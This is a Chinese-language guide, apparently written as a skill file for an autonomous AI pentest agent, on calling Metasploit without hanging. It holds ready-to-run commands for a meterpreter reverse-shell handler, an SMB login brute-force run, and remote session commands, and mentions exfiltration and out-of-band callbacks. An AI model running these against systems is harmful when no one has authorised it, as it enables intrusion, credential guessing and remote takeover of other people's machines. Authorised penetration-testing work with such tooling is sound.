# Metasploit 调用陷阱与正确姿势

> 借鉴自 PentAGI 多 agent 系统在大规模自动化调用 Metasploit 时踩过的坑。

`msfconsole` 是渗透阶段最容易把整条命令链卡死的工具。下面是**全部已知陷阱 + 正确模式**，让 AI 自动化调用 MSF 时不会变成"无脑挂死的怪物"。

## 6 大常见错误

| 错误 | 现象 | 后果 |
|------|------|------|
| 1. 不带 `-x` 直接跑 | `msfconsole` | 进入交互模式，永远等输入 |
| 2. 命令链不带 `;exit` | `msfconsole -x "exploit"` | 永远不退出，孤儿进程 |
| 3. 拆多次 console 调用 | 想用 sessions 但每次都新开 | 进程隔离，看不到上次的 session |
| 4. 多余的 handler | 同时用 `exploit/multi/handler` | exploit 命令本身已经包含 handler，重复占端口 |
| 5. 不查端口直接监听 | 直接 `set LPORT 4444` | 端口被占用 → bind 失败 |
| 6. 孤儿进程不清理 | 多次卡死后忘了 kill | `ps aux` 一堆 ruby 进程 |

## 三种正确模式

### 模式 A：单次独立调用（推荐 80% 场景）

把所有操作塞一个 `-x` 里，最后必带 `;exit`。

```bash
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {callback_ip}; set LPORT {allocated_port}; exploit; sleep 20; sessions -l; exit"
```

要点：
- `-q`：quiet，少输出，省 token
- `-x "..."`：直接执行，不进交互
- `; exit`：必须最后一条
- `sleep 20`：给 reverse shell 留连接时间
- `sessions -l`：列出当前 session（在同一进程里，能看到）
- 调用方设 `detach=false`，`timeout=120+`，等命令真正完成

### 模式 B：RPC daemon（复杂工作流）

需要在多次调用之间保持 session 状态时用：

```bash
# Step 1: 先查端口
netstat -tulnp | grep 55553

# Step 2: 启动 RPC daemon，detach=true（让它独立活着）
msfrpcd -P pass -U user -a 127.0.0.1 -p 55553

# Step 3: 客户端连接，detach=false
msfconsole -q -x "connect 127.0.0.1:55553 user pass; use exploit/...; exploit; exit"

# Step 4: 之后再连，能看到同一批 sessions
msfconsole -q -x "connect 127.0.0.1:55553 user pass; sessions -l; sessions -i 1 -c 'whoami'; exit"
```

要点：
- 启动前**必须先查端口**
- daemon 用 `detach=true`、`timeout=600+`
- client 用 `detach=false`、各自有自己的合理 timeout
- 任务结束记得 `pkill -f msfrpcd`

### 模式 C：一次性批量利用（无 session 需求）

只想跑个 exploit / aux 模块拿结果，不需要 meterpreter session：

```bash
msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS {target_ip}; set USER_FILE /tmp/users.txt; set PASS_FILE /tmp/passes.txt; run; exit"
```

要点：
- 用 `run` 不用 `exploit`（aux 模块习惯）
- 输出全在 stdout，命令结束后一次性拿到

## detach 参数选择

PentAGI 的执行器对终端调用有 `detach` 参数：

| detach | 用途 | 何时用 |
|--------|------|-------|
| `false` | 等命令完成，返回 stdout | 模式 A、模式 C、所有 client 调用 |
| `true` | 命令在后台跑，500ms 后立即返回 | msfrpcd / nc -l / python -m http.server / tcpdump |

错用的后果：
- 该 detach 的没 detach → daemon 跑到 timeout 被 kill，client 第二次连不上
- 不该 detach 的 detach 了 → 拿不到 stdout，不知道 exploit 结果

## 实战诊断命令

执行 MSF 出现异常时，先跑这三条：

```bash
# 1. 查 ruby 进程（msfconsole / msfrpcd 都是 ruby）
ps aux | grep -E "msfconsole|msfrpcd|ruby"

# 2. 查相关端口
netstat -tulnp | grep -E ":4444|:55553|:8080"

# 3. 清理孤儿（确认要 kill 再执行）
pkill -f msfconsole
pkill -f msfrpcd
```

## 在 Skills router 里如何让 AI 用上

把这套规则补到 `pentest-tools/SKILL.md` 或单独的 `pentest-tools/references/msf-protocol.md`，确保 AI 在生成 MSF 命令前先读到。

最简洁的硬规则版本（直接抄到 `RULES.md` 或 skill 的 SKILL.md）：

```markdown
### MSF 调用硬规则
- 永远不要直接跑 `msfconsole`，必须用 `-x "..."`
- `-x` 字符串末尾必须 `;exit`
- 启动监听前必须 `netstat -tulnp | grep [PORT]`
- 不需要单独 `exploit/multi/handler`，`exploit` 命令已含 handler
- 多步操作合并到一个 `-x` 里，不要拆多次 console 调用
- 需要保持 session 跨调用 → 切到 msfrpcd 模式
- 失败后用 `ps aux | grep msfconsole` 查孤儿，`pkill -f msfconsole` 清理
```

## 输出最小化技巧

MSF 输出极冗长，直接喂给 LLM 浪费 token。优化点：

- `-q`：quiet 模式（必加）
- `set ConsoleLogging false`
- `set LogLevel 0`
- 解析 sessions 时用 `sessions -l` 而不是 `sessions -v`
- exploit 完成后只看关键行：`exploit | grep -E "session|opened|fail"`

## 与 OOB 攻击的配合

涉及反弹 shell / DNS exfil / SSRF OOB 时：

- LPORT 必须在用户分配的端口范围内（PentAGI 用容器 port forwarding，必须用宿主机已转发的端口）
- 公网 IP 不知道时：`curl -s https://api.ipify.org`
- 测试连通性：`nc -zv {callback_ip} {port}` 在外部跑，看是否能到容器

## 反模式实例

```bash
# ❌ 直接跑 console
msfconsole

# ❌ 没 exit
msfconsole -x "exploit"

# ❌ 拆开调用
msfconsole -x "use exploit/...; set ...; run; exit"
msfconsole -x "sessions -l; exit"   # 看不到上一步的 session

# ❌ 重复 handler
msfconsole -x "use exploit/multi/handler; set ...; exploit -j; use exploit/...; exploit; exit"

# ❌ 不查端口
msfconsole -x "use exploit/multi/handler; set LPORT 4444; exploit; exit"
# → 如果 4444 被占，bind error，但 console 已经退了，看不到原因
```

## 与 field-journal 的协作

每次用 MSF 完成任务，回写时记一条：

```markdown
## MSF 调用模式
- 模式：A 单次 / B RPC / C 批量
- 端口冲突：是 / 否（如何解决）
- 孤儿进程：是 / 否（清理命令）
- 关键参数：LHOST / LPORT / PAYLOAD 的最终值（脱敏）
```

这样下次同类任务能直接复用配置。
